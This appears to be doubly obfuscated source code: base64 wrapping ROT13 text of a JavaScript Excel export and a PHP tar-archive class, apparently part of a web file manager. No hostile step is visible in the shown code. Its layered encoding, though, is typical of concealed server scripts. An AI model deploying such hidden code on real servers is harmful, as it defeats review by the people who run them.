QmNndmJhZj48azpRdmZjeW5sVGV2cXl2YXJmPjwvazpRdmZjeW5sVGV2cXl2YXJmPjwvazpKYmV4ZnVycmdCY2d2YmFmPjwvazpSa3ByeUpiZXhmdXJyZz48L2s6UmtwcnlKYmV4ZnVycmdmPjwvazpSa3ByeUpiZXhvYmJ4Pjwva3p5PjwhW3JhcXZzXS0tPjx6cmduIHVnZ2MtcmRodmk9InBiYWdyYWctZ2xjciIgcGJhZ3JhZz0iZ3JrZy9jeW52YTsgcHVuZWZyZz1IR1MtOCIvPjwvdXJucT48b2JxbD48Z25veXI+e2dub3lyfTwvZ25veXI+PC9vYnFsPjwvdWd6eT4nLA0KICAgIHNiZXpuZyA9IHNoYXBndmJhKGYsIHApIHsNCiAgICAgICAgICAgIGVyZ2hlYSBmLmVyY3lucHIoL3soXGorKX0vdCwgc2hhcGd2YmEoeiwgYykgew0KICAgICAgICAgICAgICAgIGVyZ2hlYSBwW2NdOw0KICAgICAgICAgICAgfSkNCiAgICAgICAgfQ0KICAgIGVyZ2hlYSBzaGFwZ3ZiYShnbm95ciwgYW56cikgew0KICAgICAgICB2cyAoIWdub3lyLmFicXJHbGNyKSBnbm95ciA9IHFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKGdub3lyKQ0KICAgICAgICBpbmUgcGdrID0gew0KICAgICAgICAgICAgamJleGZ1cnJnOiBhbnpyIHx8ICdKYmV4ZnVycmcnLA0KICAgICAgICAgICAgZ25veXI6IGdub3lyLnZhYXJlVUdaWS5lcmN5bnByKC88ZmNuYSguKj8pXC9mY25hPiAvdCwiIikuZXJjeW5wcigvPG5cb1tePl0qPiguKj8pPFwvbj4vdCwiJDEiKQ0KICAgICAgICB9DQoJCWcgPSBhcmogUW5ncigpOw0KCQlzdnlyYW56ciA9ICdzel8nICsgZy5nYlZGQkZnZXZhdCgpICsgJy5reWYnDQoJCXFiamF5Ym5xX2t5ZihzdnlyYW56ciwgb25mcjY0X3JhcGJxcihzYmV6bmcoZ3J6Y3luZ3IsIHBnaykpKQ0KICAgIH0NCn0pKCk7DQoNCmluZSBnbm95cjJSa3ByeSA9IHNoYXBndmJhICgpIHsNCg0KICAgIGluZSBobiA9IGp2YXFiai5hbml2dG5nYmUuaGZyZU50cmFnOw0KICAgIGluZSB6ZnZyID0gaG4udmFxcmtCcygiWkZWUiAiKTsNCg0KCWd1dmYuUGVybmdyUmtwcnlGdXJyZyA9IA0KCQlzaGFwZ3ZiYShyeSwgYW56cil7DQoJCQl2cyAoemZ2ciA+IDAgfHwgISFhbml2dG5nYmUuaGZyZU50cmFnLnpuZ3B1KC9HZXZxcmFnLiplaVw6MTFcLi8pKSB7Ly8gVnMgVmFncmVhcmcgUmtjeWJlcmUNCg0KCQkJCWluZSBrID0gcWJwaHpyYWcudHJnUnlyenJhZ09sVnEocnkpLmViamY7DQoNCgkJCQlpbmUga3lmID0gYXJqIE5wZ3ZpcktCb3dycGcoIlJrcHJ5Lk5jY3l2cG5ndmJhIik7DQoNCgkJCQlreWYuaXZmdm95ciA9IGdlaHI7DQoJCQkJa3lmLkpiZXhvYmJ4Zi5OcXENCgkJCQlzYmUgKHYgPSAwOyB2IDwgay55cmF0Z3U7IHYrKykgew0KCQkJCQlpbmUgbCA9IGtbdl0ucHJ5eWY7DQoNCgkJCQkJc2JlICh3ID0gMDsgdyA8IGwueXJhdGd1OyB3KyspIHsNCgkJCQkJCWt5Zi5Qcnl5Zih2ICsgMSwgdyArIDEpLklueWhyID0gbFt3XS52YWFyZUdya2c7DQoJCQkJCX0NCgkJCQl9DQoJCQkJa3lmLkl2ZnZveXIgPSBnZWhyOw0KCQkJCWt5Zi5IZnJlUGJhZ2VieSA9IGdlaHI7DQoJCQkJZXJnaGVhIGt5ZjsNCgkJCX0gcnlmciB7DQoJCQkJZ25veXJHYlJrcHJ5UW5nbihyeSwgYW56cik7DQoJCQl9DQoJCX0NCn0NCjwvZnBldmNnPg0KPC9vYnFsPg0KPC91Z3p5Pg0KDQo8P2N1Yw0KLy9DYmVncnEgc2VieiBFcnlibnFQWkYgY2Vid3JwZyB1Z2djOi8vZXJ5Ym5xcHpmLnBieg0KcHluZmYgbmVwdXZpckduZSB7DQoJaW5lICRuZXB1dmlyX2FuenIgPSAnJzsNCglpbmUgJGd6Y19zdnlyID0gMDsNCglpbmUgJHN2eXJfY2JmID0gMDsNCglpbmUgJHZmVG12Y2NycSA9IGdlaHI7DQoJaW5lICRyZWViZWYgPSBuZWVubCgpOw0KCWluZSAkc3Z5cmYgPSBuZWVubCgpOw0KCQ0KCXNoYXBndmJhIF9fcGJhZmdlaHBnKCl7DQoJCXZzICghdmZmcmcoJGd1dmYtPnJlZWJlZikpICRndXZmLT5yZWViZWYgPSBuZWVubCgpOw0KCX0NCgkNCglzaGFwZ3ZiYSBwZXJuZ3JOZXB1dmlyKCRzdnlyX3l2Zmcpew0KCQkkZXJmaHlnID0gc255ZnI7DQoJCXZzIChzdnlyX3JrdmZnZigkZ3V2Zi0+bmVwdXZpcl9hbnpyKSAmJiB2Zl9zdnlyKCRndXZmLT5uZXB1dmlyX2FuenIpKSAJJGFyak5lcHV2aXIgPSBzbnlmcjsNCgkJcnlmciAkYXJqTmVwdXZpciA9IGdlaHI7DQoJCXZzICgkYXJqTmVwdXZpcil7DQoJCQl2cyAoISRndXZmLT5iY3JhSmV2Z3IoKSkgZXJnaGVhIHNueWZyOw0KCQl9IHJ5ZnIgew0KCQkJdnMgKHN2eXJmdm1yKCRndXZmLT5uZXB1dmlyX2FuenIpID09IDApCWVyZ2hlYSAkZ3V2Zi0+YmNyYUpldmdyKCk7DQoJCQl2cyAoJGd1dmYtPnZmVG12Y2NycSkgew0KCQkJCSRndXZmLT5weWJmckd6Y1N2eXIoKTsNCgkJCQl2cyAoIWVyYW56cigkZ3V2Zi0+bmVwdXZpcl9hbnpyLCAkZ3V2Zi0+bmVwdXZpcl9hbnpyLicuZ3pjJykpew0KCQkJCQkkZ3V2Zi0+cmVlYmVmW10gPSBfXygnUG5hYWJnIGVyYW56cicpLicgJy4kZ3V2Zi0+bmVwdXZpcl9hbnpyLl9fKCcgZ2IgJykuJGd1dmYtPm5lcHV2aXJfYW56ci4nLmd6Yyc7DQoJCQkJCWVyZ2hlYSBzbnlmcjsNCgkJCQl9DQoJCQkJJGd6Y05lcHV2aXIgPSB0bWJjcmEoJGd1dmYtPm5lcHV2aXJfYW56ci4nLmd6YycsICdlbycpOw0KCQkJCXZzICghJGd6Y05lcHV2aXIpew0KCQkJCQkkZ3V2Zi0+cmVlYmVmW10gPSAkZ3V2Zi0+bmVwdXZpcl9hbnpyLicuZ3pjICcuX18oJ3ZmIGFiZyBlcm5xbm95cicpOw0KCQkJCQllcmFuenIoJGd1dmYtPm5lcHV2aXJfYW56ci4nLmd6YycsICRndXZmLT5uZXB1dmlyX2FuenIpOw0KCQkJCQllcmdoZWEgc255ZnI7DQoJCQkJfQ0KCQkJCXZzICghJGd1dmYtPmJjcmFKZXZncigpKXsNCgkJCQkJZXJhbnpyKCRndXZmLT5uZXB1dmlyX2FuenIuJy5nemMnLCAkZ3V2Zi0+bmVwdXZpcl9hbnpyKTsNCgkJCQkJZXJnaGVhIHNueWZyOw0KCQkJCX0NCgkJCQkkb2hzc3JlID0gdG1lcm5xKCRnemNOZXB1dmlyLCA1MTIpOw0KCQkJCXZzICghdG1yYnMoJGd6Y05lcHV2aXIpKXsNCgkJCQkJcWIgew0KCQkJCQkJJG92YW5lbFFuZ24gPSBjbnB4KCduNTEyJywgJG9oc3NyZSk7DQoJCQkJCQkkZ3V2Zi0+amV2Z3JPeWJweCgkb3ZhbmVsUW5nbik7DQoJCQkJCQkkb2hzc3JlID0gdG1lcm5xKCRnemNOZXB1dmlyLCA1MTIpOw0KCQkJCQl9DQoJCQkJCWp1dnlyICghdG1yYnMoJGd6Y05lcHV2aXIpKTsNCgkJCQl9DQoJCQkJdG1weWJmcigkZ3pjTmVwdXZpcik7DQoJCQkJaGF5dmF4KCRndXZmLT5uZXB1dmlyX2FuenIuJy5nemMnKTsNCgkJCX0gcnlmciB7DQoJCQkJJGd1dmYtPmd6Y19zdnlyID0gc2JjcmEoJGd1dmYtPm5lcHV2aXJfYW56ciwgJ2UrbycpOw0KCQkJCXZzICghJGd1dmYtPmd6Y19zdnlyKQllcmdoZWEgc255ZnI7DQoJCQl9DQoJCX0NCgkJdnMgKHZmZnJnKCRzdnlyX3l2ZmcpICYmIHZmX25lZW5sKCRzdnlyX3l2ZmcpKSB7DQoJCXZzIChwYmhhZygkc3Z5cl95dmZnKT4wKQ0KCQkJJGVyZmh5ZyA9ICRndXZmLT5jbnB4U3Z5ck5lZW5sKCRzdnlyX3l2ZmcpOw0KCQl9IHJ5ZnIgJGd1dmYtPnJlZWJlZltdID0gX18oJ0FiIHN2eXInKS5fXygnIGdiICcpLl9fKCdOZXB1dmlyJyk7DQoJCXZzICgoJGVyZmh5ZykmJih2Zl9lcmZiaGVwcigkZ3V2Zi0+Z3pjX3N2eXIpKSl7DQoJCQkkb3ZhbmVsUW5nbiA9IGNucHgoJ241MTInLCAnJyk7DQoJCQkkZ3V2Zi0+amV2Z3JPeWJweCgkb3ZhbmVsUW5nbik7DQoJCX0NCgkJJGd1dmYtPnB5YmZyR3pjU3Z5cigpOw0KCQl2cyAoJGFyak5lcHV2aXIgJiYgISRlcmZoeWcpew0KCQkkZ3V2Zi0+cHliZnJHemNTdnlyKCk7DQoJCWhheXZheCgkZ3V2Zi0+bmVwdXZpcl9hbnpyKTsNCgkJfQ0KCQllcmdoZWEgJGVyZmh5ZzsNCgl9DQoNCglzaGFwZ3ZiYSBlcmZnYmVyTmVwdXZpcigkY25ndSl7DQoJCSRzdnlyQW56ciA9ICRndXZmLT5uZXB1dmlyX2FuenI7DQoJCXZzICghJGd1dmYtPnZmVG12Y2NycSl7DQoJCQl2cyAoc3Z5cl9ya3ZmZ2YoJHN2eXJBbnpyKSl7DQoJCQkJdnMgKCRzYyA9IHNiY3JhKCRzdnlyQW56ciwgJ2VvJykpew0KCQkJCQkkcW5nbiA9IHNlcm5xKCRzYywgMik7DQoJCQkJCXNweWJmcigkc2MpOw0KCQkJCQl2cyAoJHFuZ24gPT0gJ1wzN1wyMTMnKXsNCgkJCQkJCSRndXZmLT52ZlRtdmNjcnEgPSBnZWhyOw0KCQkJCQl9DQoJCQkJfQ0KCQkJfQ0KCQkJcnlmcnZzICgoZmhvZmdlKCRzdnlyQW56ciwgLTIpID09ICd0bScpIEJFIChmaG9mZ2UoJHN2eXJBbnpyLCAtMykgPT0gJ2d0bScpKSAkZ3V2Zi0+dmZUbXZjY3JxID0gZ2VocjsNCgkJfSANCgkJJGVyZmh5ZyA9IGdlaHI7DQoJCXZzICgkZ3V2Zi0+dmZUbXZjY3JxKSAkZ3V2Zi0+Z3pjX3N2eXIgPSB0bWJjcmEoJHN2eXJBbnpyLCAnZW8nKTsNCgkJcnlmciAkZ3V2Zi0+Z3pjX3N2eXIgPSBzYmNyYSgkc3Z5ckFuenIsICdlbycpOw0KCQl2cyAoISRndXZmLT5nemNfc3Z5cil7DQoJCQkkZ3V2Zi0+cmVlYmVmW10gPSAkc3Z5ckFuenIuJyAnLl9fKCd2ZiBhYmcgZXJucW5veXInKTsNCgkJCWVyZ2hlYSBzbnlmcjsNCgkJfQ0KCQkkZXJmaHlnID0gJGd1dmYtPmhhY25weFN2eXJOZWVubCgkY25ndSk7DQoJCQkkZ3V2Zi0+cHliZnJHemNTdnlyKCk7DQoJCWVyZ2hlYSAkZXJmaHlnOw0KCX0NCg0KCXNoYXBndmJhIGZ1YmpSZWViZWYJKCR6cmZmbnRyID0gJycpIHsNCgkJJFJlZWJlZiA9ICRndXZmLT5yZWViZWY7DQoJCXZzKHBiaGFnKCRSZWViZWYpPjApIHsNCgkJdnMgKCFyemNnbCgkenJmZm50cikpICR6cmZmbnRyID0gJyAoJy4kenJmZm50ci4nKSc7DQoJCQkkenJmZm50ciA9IF9fKCdSZWViZSBicHBoZWVycScpLiR6cmZmbnRyLic6IDxvZS8+JzsNCgkJCXNiZXJucHUgKCRSZWViZWYgbmYgJGlueWhyKQ0KCQkJCSR6cmZmbnRyIC49ICRpbnloci4nPG9lLz4nOw0KCQkJZXJnaGVhICR6cmZmbnRyOwkNCgkJfSByeWZyIGVyZ2hlYSAnJzsNCgkJDQoJfQ0KCQ0KCXNoYXBndmJhIGNucHhTdnlyTmVlbmwoJHN2eXJfbmVlbmwpew0KCQkkZXJmaHlnID0gZ2VocjsNCgkJdnMgKCEkZ3V2Zi0+Z3pjX3N2eXIpew0KCQkJJGd1dmYtPnJlZWJlZltdID0gX18oJ1ZhaW55dnEgc3Z5ciBxcmZwZXZjZ2JlJyk7DQoJCQllcmdoZWEgc255ZnI7DQoJCX0NCgkJdnMgKCF2Zl9uZWVubCgkc3Z5cl9uZWVubCkgfHwgcGJoYWcoJHN2eXJfbmVlbmwpPD0wKQ0KICAgICAgICAgIGVyZ2hlYSBnZWhyOw0KCQlzYmUgKCR2ID0gMDsgJHY8cGJoYWcoJHN2eXJfbmVlbmwpOyAkdisrKXsNCgkJCSRzdnlyYW56ciA9ICRzdnlyX25lZW5sWyR2XTsNCgkJCXZzICgkc3Z5cmFuenIgPT0gJGd1dmYtPm5lcHV2aXJfYW56cikNCgkJCQlwYmFndmFocjsNCgkJCXZzIChmZ2V5cmEoJHN2eXJhbnpyKTw9MCkNCgkJCQlwYmFndmFocjsNCgkJCXZzICghc3Z5cl9ya3ZmZ2YoJHN2eXJhbnpyKSl7DQoJCQkJJGd1dmYtPnJlZWJlZltdID0gX18oJ0FiIHN2eXInKS4nICcuJHN2eXJhbnpyOw0KCQkJCXBiYWd2YWhyOw0KCQkJfQ0KCQkJdnMgKCEkZ3V2Zi0+Z3pjX3N2eXIpew0KCQkJJGd1dmYtPnJlZWJlZltdID0gX18oJ1ZhaW55dnEgc3Z5ciBxcmZwZXZjZ2JlJyk7DQoJCQllcmdoZWEgc255ZnI7DQoJCQl9DQoJCXZzIChmZ2V5cmEoJHN2eXJhbnpyKTw9MCl7DQoJCQkkZ3V2Zi0+cmVlYmVmW10gPSBfXygnU3Z5cmFuenInKS4nICcuX18oJ3ZmIHZhcGJlZXJwZycpOzsNCgkJCWVyZ2hlYSBzbnlmcjsNCgkJfQ0KCQkkc3Z5cmFuenIgPSBmZ2VfZXJjeW5wcignXFwnLCAnLycsICRzdnlyYW56cik7DQoJCSR4cnJjX3N2eXJhbnpyID0gJGd1dmYtPnpueHJUYmJxQ25ndSgkc3Z5cmFuenIpOw0KCQl2cyAodmZfc3Z5cigkc3Z5cmFuenIpKXsNCgkJCXZzICgoJHN2eXIgPSBzYmNyYSgkc3Z5cmFuenIsICdlbycpKSA9PSAwKXsNCgkJCQkkZ3V2Zi0+cmVlYmVmW10gPSBfXygnWmJxciAnKS5fXygndmYgdmFwYmVlcnBnJyk7DQoJCQl9DQoJCQkJdnMoKCRndXZmLT5zdnlyX2NiZiA9PSAwKSl7DQoJCQkJCXZzKCEkZ3V2Zi0+amV2Z3JVcm5xcmUoJHN2eXJhbnpyLCAkeHJyY19zdnlyYW56cikpDQoJCQkJCQllcmdoZWEgc255ZnI7DQoJCQkJfQ0KCQkJCWp1dnlyICgoJG9oc3NyZSA9IHNlcm5xKCRzdnlyLCA1MTIpKSAhPSAnJyl7DQoJCQkJCSRvdmFuZWxRbmduID0gY25weCgnbjUxMicsICRvaHNzcmUpOw0KCQkJCQkkZ3V2Zi0+amV2Z3JPeWJweCgkb3ZhbmVsUW5nbik7DQoJCQkJfQ0KCQkJc3B5YmZyKCRzdnlyKTsNCgkJfQlyeWZyICRndXZmLT5qZXZnclVybnFyZSgkc3Z5cmFuenIsICR4cnJjX3N2eXJhbnpyKTsNCgkJCXZzIChAdmZfcXZlKCRzdnlyYW56cikpew0KCQkJCXZzICghKCR1bmFxeXIgPSBiY3JhcXZlKCRzdnlyYW56cikpKXsNCgkJCQkJJGd1dmYtPnJlZWJlZltdID0gX18oJ1JlZWJlJykuJzogJy5fXygnUXZlcnBnYmVsICcpLiRzdnlyYW56ci5fXygndmYgYWJnIGVybnFub3lyJyk7DQoJCQkJCXBiYWd2YWhyOw0KCQkJCX0NCgkJCQlqdXZ5ciAoc255ZnIgIT09ICgkcXZlID0gZXJucXF2ZSgkdW5hcXlyKSkpew0KCQkJCQl2cyAoJHF2ZSE9Jy4nICYmICRxdmUhPScuLicpew0KCQkJCQkJJHN2eXJfbmVlbmxfZ3pjID0gbmVlbmwoKTsNCgkJCQkJCXZzICgkc3Z5cmFuenIgIT0gJy4nKQ0KCQkJCQkJCSRzdnlyX25lZW5sX2d6Y1tdID0gJHN2eXJhbnpyLicvJy4kcXZlOw0KCQkJCQkJcnlmcg0KCQkJCQkJCSRzdnlyX25lZW5sX2d6Y1tdID0gJHF2ZTsNCg0KCQkJCQkJJGVyZmh5ZyA9ICRndXZmLT5jbnB4U3Z5ck5lZW5sKCRzdnlyX25lZW5sX2d6Yyk7DQoJCQkJCX0NCgkJCQl9DQoJCQkJaGFmcmcoJHN2eXJfbmVlbmxfZ3pjKTsNCgkJCQloYWZyZygkcXZlKTsNCgkJCQloYWZyZygkdW5hcXlyKTsNCgkJCX0NCgkJfQ0KCQllcmdoZWEgJGVyZmh5ZzsNCgl9DQoNCglzaGFwZ3ZiYSBoYWNucHhTdnlyTmVlbmwoJGNuZ3UpeyANCgkJJGNuZ3UgPSBmZ2VfZXJjeW5wcignXFwnLCAnLycsICRjbmd1KTsNCgkJdnMgKCRjbmd1ID09ICcnCXx8IChmaG9mZ2UoJGNuZ3UsIDAsIDEpICE9ICcvJyAmJiBmaG9mZ2UoJGNuZ3UsIDAsIDMpICE9ICcuLi8nICYmICFmZ2VjYmYoJGNuZ3UsICc6JykpKQkkY25ndSA9ICcuLycuJGNuZ3U7DQoJCXB5cm5lZmduZ3BucHVyKCk7DQoJCWp1dnlyIChmZ2V5cmEoJG92YW5lbFFuZ24gPSAkZ3V2Zi0+ZXJucU95YnB4KCkpICE9IDApew0KCQkJdnMgKCEkZ3V2Zi0+ZXJucVVybnFyZSgkb3ZhbmVsUW5nbiwgJHVybnFyZSkpIGVyZ2hlYSBzbnlmcjsNCgkJCXZzICgkdXJucXJlWydzdnlyYW56ciddID09ICcnKSBwYmFndmFocjsNCgkJCXZzICgkdXJucXJlWydnbGNyc3ludCddID09ICdZJyl7CQkJLy9lcm5xdmF0IHliYXQgdXJucXJlDQoJCQkJJHN2eXJhbnpyID0gJyc7DQoJCQkJJHFycGUgPSBzeWJiZSgkdXJucXJlWydmdm1yJ10vNTEyKTsNCgkJCQlzYmUgKCR2ID0gMDsgJHYgPCAkcXJwZTsgJHYrKyl7DQoJCQkJCSRwYmFncmFnID0gJGd1dmYtPmVybnFPeWJweCgpOw0KCQkJCQkkc3Z5cmFuenIgLj0gJHBiYWdyYWc7DQoJCQkJfQ0KCQkJCXZzICgoJHluZmN2cnByID0gJHVybnFyZVsnZnZtciddICUgNTEyKSAhPSAwKXsNCgkJCQkJJHBiYWdyYWcgPSAkZ3V2Zi0+ZXJucU95YnB4KCk7DQoJCQkJCSRzdnlyYW56ciAuPSBmaG9mZ2UoJHBiYWdyYWcsIDAsICR5bmZjdnJwcik7DQoJCQkJfQ0KCQkJCSRvdmFuZWxRbmduID0gJGd1dmYtPmVybnFPeWJweCgpOw0KCQkJCXZzICghJGd1dmYtPmVybnFVcm5xcmUoJG92YW5lbFFuZ24sICR1cm5xcmUpKSBlcmdoZWEgc255ZnI7DQoJCQkJcnlmciAkdXJucXJlWydzdnlyYW56ciddID0gJHN2eXJhbnpyOw0KCQkJCWVyZ2hlYSBnZWhyOw0KCQkJfQ0KCQkJdnMgKCgkY25ndSAhPSAnLi8nKSAmJiAoJGNuZ3UgIT0gJy8nKSl7DQoJCQkJanV2eXIgKGZob2ZnZSgkY25ndSwgLTEpID09ICcvJykgJGNuZ3UgPSBmaG9mZ2UoJGNuZ3UsIDAsIGZnZXlyYSgkY25ndSktMSk7DQoJCQkJdnMgKGZob2ZnZSgkdXJucXJlWydzdnlyYW56ciddLCAwLCAxKSA9PSAnLycpICR1cm5xcmVbJ3N2eXJhbnpyJ10gPSAkY25ndS4kdXJucXJlWydzdnlyYW56ciddOw0KCQkJCXJ5ZnIgJHVybnFyZVsnc3Z5cmFuenInXSA9ICRjbmd1LicvJy4kdXJucXJlWydzdnlyYW56ciddOw0KCQkJfQ0KCQkJDQoJCQl2cyAoc3Z5cl9ya3ZmZ2YoJHVybnFyZVsnc3Z5cmFuenInXSkpew0KCQkJCXZzICgoQHZmX3F2ZSgkdXJucXJlWydzdnlyYW56ciddKSkgJiYgKCR1cm5xcmVbJ2dsY3JzeW50J10gPT0gJycpKXsNCgkJCQkJJGd1dmYtPnJlZWJlZltdID1fXygnU3Z5ciAnKS4kdXJucXJlWydzdnlyYW56ciddLl9fKCcgbnllcm5xbCBya3ZmZ2YnKS5fXygnIG5mIHNieXFyZScpOw0KCQkJCQllcmdoZWEgc255ZnI7DQoJCQkJfQ0KCQkJCXZzICgodmZfc3Z5cigkdXJucXJlWydzdnlyYW56ciddKSkgJiYgKCR1cm5xcmVbJ2dsY3JzeW50J10gPT0gJzUnKSl7DQoJCQkJCSRndXZmLT5yZWViZWZbXSA9X18oJ1BuYWFiZyBwZXJuZ3IgcXZlcnBnYmVsJykuJy4gJy5fXygnU3Z5ciAnKS4kdXJucXJlWydzdnlyYW56ciddLl9fKCcgbnllcm5xbCBya3ZmZ2YnKTsNCgkJCQkJZXJnaGVhIHNueWZyOw0KCQkJCX0NCgkJCQl2cyAoIXZmX2pldmdybm95cigkdXJucXJlWydzdnlyYW56ciddKSl7DQoJCQkJCSRndXZmLT5yZWViZWZbXSA9IF9fKCdQbmFhYmcgamV2Z3IgZ2Igc3Z5cicpLicuICcuX18oJ1N2eXIgJykuJHVybnFyZVsnc3Z5cmFuenInXS5fXygnIG55ZXJucWwgcmt2ZmdmJyk7DQoJCQkJCWVyZ2hlYSBzbnlmcjsNCgkJCQl9DQoJCQl9IHJ5ZnJ2cyAoKCRndXZmLT5xdmVQdXJweCgoJHVybnFyZVsnZ2xjcnN5bnQnXSA9PSAnNScgPyAkdXJucXJlWydzdnlyYW56ciddIDogcXZlYW56cigkdXJucXJlWydzdnlyYW56ciddKSkpKSAhPSAxKXsNCgkJCQkkZ3V2Zi0+cmVlYmVmW10gPSBfXygnUG5hYWJnIHBlcm5nciBxdmVycGdiZWwnKS4nICcuX18oJyBzYmUgJykuJHVybnFyZVsnc3Z5cmFuenInXTsNCgkJCQllcmdoZWEgc255ZnI7DQoJCQl9DQoNCgkJCXZzICgkdXJucXJlWydnbGNyc3ludCddID09ICc1Jyl7DQoJCQkJdnMgKCFzdnlyX3JrdmZnZigkdXJucXJlWydzdnlyYW56ciddKSkJCXsNCgkJCQkJdnMgKCF6eHF2ZSgkdXJucXJlWydzdnlyYW56ciddLCAwNzc3KSkJew0KCQkJCQkJDQoJCQkJCQkkZ3V2Zi0+cmVlYmVmW10gPSBfXygnUG5hYWJnIHBlcm5nciBxdmVycGdiZWwnKS4nICcuJHVybnFyZVsnc3Z5cmFuenInXTsNCgkJCQkJCWVyZ2hlYSBzbnlmcjsNCgkJCQkJfSANCgkJCQl9DQoJCQl9IHJ5ZnIgew0KCQkJCXZzICgoJHFyZmd2YW5ndmJhID0gc2JjcmEoJHVybnFyZVsnc3Z5cmFuenInXSwgJ2pvJykpID09IDApIHsNCgkJCQkJJGd1dmYtPnJlZWJlZltdID0gX18oJ1BuYWFiZyBqZXZnciBnYiBzdnlyJykuJyAnLiR1cm5xcmVbJ3N2eXJhbnpyJ107DQoJCQkJCWVyZ2hlYSBzbnlmcjsNCgkJCQl9IHJ5ZnIgew0KCQkJCQkkcXJwZSA9IHN5YmJlKCR1cm5xcmVbJ2Z2bXInXS81MTIpOw0KCQkJCQlzYmUgKCR2ID0gMDsgJHYgPCAkcXJwZTsgJHYrKykgew0KCQkJCQkJJHBiYWdyYWcgPSAkZ3V2Zi0+ZXJucU95YnB4KCk7DQoJCQkJCQlzamV2Z3IoJHFyZmd2YW5ndmJhLCAkcGJhZ3JhZywgNTEyKTsNCgkJCQkJfQ0KCQkJCQl2cyAoKCR1cm5xcmVbJ2Z2bXInXSAlIDUxMikgIT0gMCkgew0KCQkJCQkJJHBiYWdyYWcgPSAkZ3V2Zi0+ZXJucU95YnB4KCk7DQoJCQkJCQlzamV2Z3IoJHFyZmd2YW5ndmJhLCAkcGJhZ3JhZywgKCR1cm5xcmVbJ2Z2bXInXSAlIDUxMikpOw0KCQkJCQl9DQoJCQkJCXNweWJmcigkcXJmZ3Zhbmd2YmEpOw0KCQkJCQlnYmhwdSgkdXJucXJlWydzdnlyYW56ciddLCAkdXJucXJlWydndnpyJ10pOw0KCQkJCX0NCgkJCQlweXJuZWZnbmdwbnB1cigpOw0KCQkJCXZzIChzdnlyZnZtcigkdXJucXJlWydzdnlyYW56ciddKSAhPSAkdXJucXJlWydmdm1yJ10pIHsNCgkJCQkJJGd1dmYtPnJlZWJlZltdID0gX18oJ0Z2bXIgYnMgc3Z5cicpLicgJy4kdXJucXJlWydzdnlyYW56ciddLicgJy5fXygndmYgdmFwYmVlcnBnJyk7DQoJCQkJCWVyZ2hlYSBzbnlmcjsNCgkJCQl9DQoJCQl9DQoJCQl2cyAoKCRzdnlyX3F2ZSA9IHF2ZWFuenIoJHVybnFyZVsnc3Z5cmFuenInXSkpID09ICR1cm5xcmVbJ3N2eXJhbnpyJ10pICRzdnlyX3F2ZSA9ICcnOw0KCQkJdnMgKChmaG9mZ2UoJHVybnFyZVsnc3Z5cmFuenInXSwgMCwgMSkgPT0gJy8nKSAmJiAoJHN2eXJfcXZlID09ICcnKSkgJHN2eXJfcXZlID0gJy8nOw0KCQkJJGd1dmYtPnF2ZWZbXSA9ICRzdnlyX3F2ZTsNCgkJCSRndXZmLT5zdnlyZltdID0gJHVybnFyZVsnc3Z5cmFuenInXTsNCgkNCgkJfQ0KCQllcmdoZWEgZ2VocjsNCgl9DQoNCglzaGFwZ3ZiYSBxdmVQdXJweCgkcXZlKXsNCgkJJGNuZXJhZ19xdmUgPSBxdmVhbnpyKCRxdmUpOw0KDQoJCXZzICgoQHZmX3F2ZSgkcXZlKSkgYmUgKCRxdmUgPT0gJycpKQ0KCQkJZXJnaGVhIGdlaHI7DQoNCgkJdnMgKCgkY25lcmFnX3F2ZSAhPSAkcXZlKSBuYXEgKCRjbmVyYWdfcXZlICE9ICcnKSBuYXEgKCEkZ3V2Zi0+cXZlUHVycHgoJGNuZXJhZ19xdmUpKSkNCgkJCWVyZ2hlYSBzbnlmcjsNCg0KCQl2cyAoIXp4cXZlKCRxdmUsIDA3NzcpKXsNCgkJCSRndXZmLT5yZWViZWZbXSA9IF9fKCdQbmFhYmcgcGVybmdyIHF2ZXJwZ2JlbCcpLicgJy4kcXZlOw0KCQkJZXJnaGVhIHNueWZyOw0KCQl9DQoJCWVyZ2hlYSBnZWhyOw0KCX0NCg0KCXNoYXBndmJhIGVybnFVcm5xcmUoJG92YW5lbFFuZ24sICYkdXJucXJlKXsNCgkJdnMgKGZnZXlyYSgkb3ZhbmVsUW5nbik9PTApew0KCQkJJHVybnFyZVsnc3Z5cmFuenInXSA9ICcnOw0KCQkJZXJnaGVhIGdlaHI7DQoJCX0NCg0KCQl2cyAoZmdleXJhKCRvdmFuZWxRbmduKSAhPSA1MTIpew0KCQkJJHVybnFyZVsnc3Z5cmFuenInXSA9ICcnOw0KCQkJJGd1dmYtPl9fKCdWYWlueXZxIG95YnB4IGZ2bXInKS4nOiAnLmZnZXlyYSgkb3ZhbmVsUW5nbik7DQoJCQllcmdoZWEgc255ZnI7DQoJCX0NCg0KCQkkcHVycHhmaHogPSAwOw0KCQlzYmUgKCR2ID0gMDsgJHYgPCAxNDg7ICR2KyspICRwdXJweGZoeis9YmVxKGZob2ZnZSgkb3ZhbmVsUW5nbiwgJHYsIDEpKTsNCgkJc2JlICgkdiA9IDE0ODsgJHYgPCAxNTY7ICR2KyspICRwdXJweGZoeiArPSBiZXEoJyAnKTsNCgkJc2JlICgkdiA9IDE1NjsgJHYgPCA1MTI7ICR2KyspICRwdXJweGZoeis9YmVxKGZob2ZnZSgkb3ZhbmVsUW5nbiwgJHYsIDEpKTsNCg0KCQkkaGFjbnB4X3FuZ24gPSBoYWNucHgoJ24xMDBzdnlyYW56ci9uOHpicXIvbjhoZnJlX3ZxL244dGViaGNfdnEvbjEyZnZtci9uMTJndnpyL244cHVycHhmaHovbjFnbGNyc3ludC9uMTAweXZheC9uNnpudHZwL24yaXJlZnZiYS9uMzJoYW56ci9uMzJ0YW56ci9uOHFyaXpud2JlL244cXJpenZhYmUnLCAkb3ZhbmVsUW5nbik7DQoNCgkJJHVybnFyZVsncHVycHhmaHonXSA9IEJwZ1FycChnZXZ6KCRoYWNucHhfcW5nblsncHVycHhmaHonXSkpOw0KCQl2cyAoJHVybnFyZVsncHVycHhmaHonXSAhPSAkcHVycHhmaHopew0KCQkJJHVybnFyZVsnc3Z5cmFuenInXSA9ICcnOw0KCQkJdnMgKCgkcHVycHhmaHogPT0gMjU2KSAmJiAoJHVybnFyZVsncHVycHhmaHonXSA9PSAwKSkgCWVyZ2hlYSBnZWhyOw0KCQkJJGd1dmYtPnJlZWJlZltdID0gX18oJ1JlZWJlIHB1cnB4Zmh6IHNiZSBzdnlyICcpLiRoYWNucHhfcW5nblsnc3Z5cmFuenInXTsNCgkJCWVyZ2hlYSBzbnlmcjsNCgkJfQ0KDQoJCXZzICgoJHVybnFyZVsnZ2xjcnN5bnQnXSA9ICRoYWNucHhfcW5nblsnZ2xjcn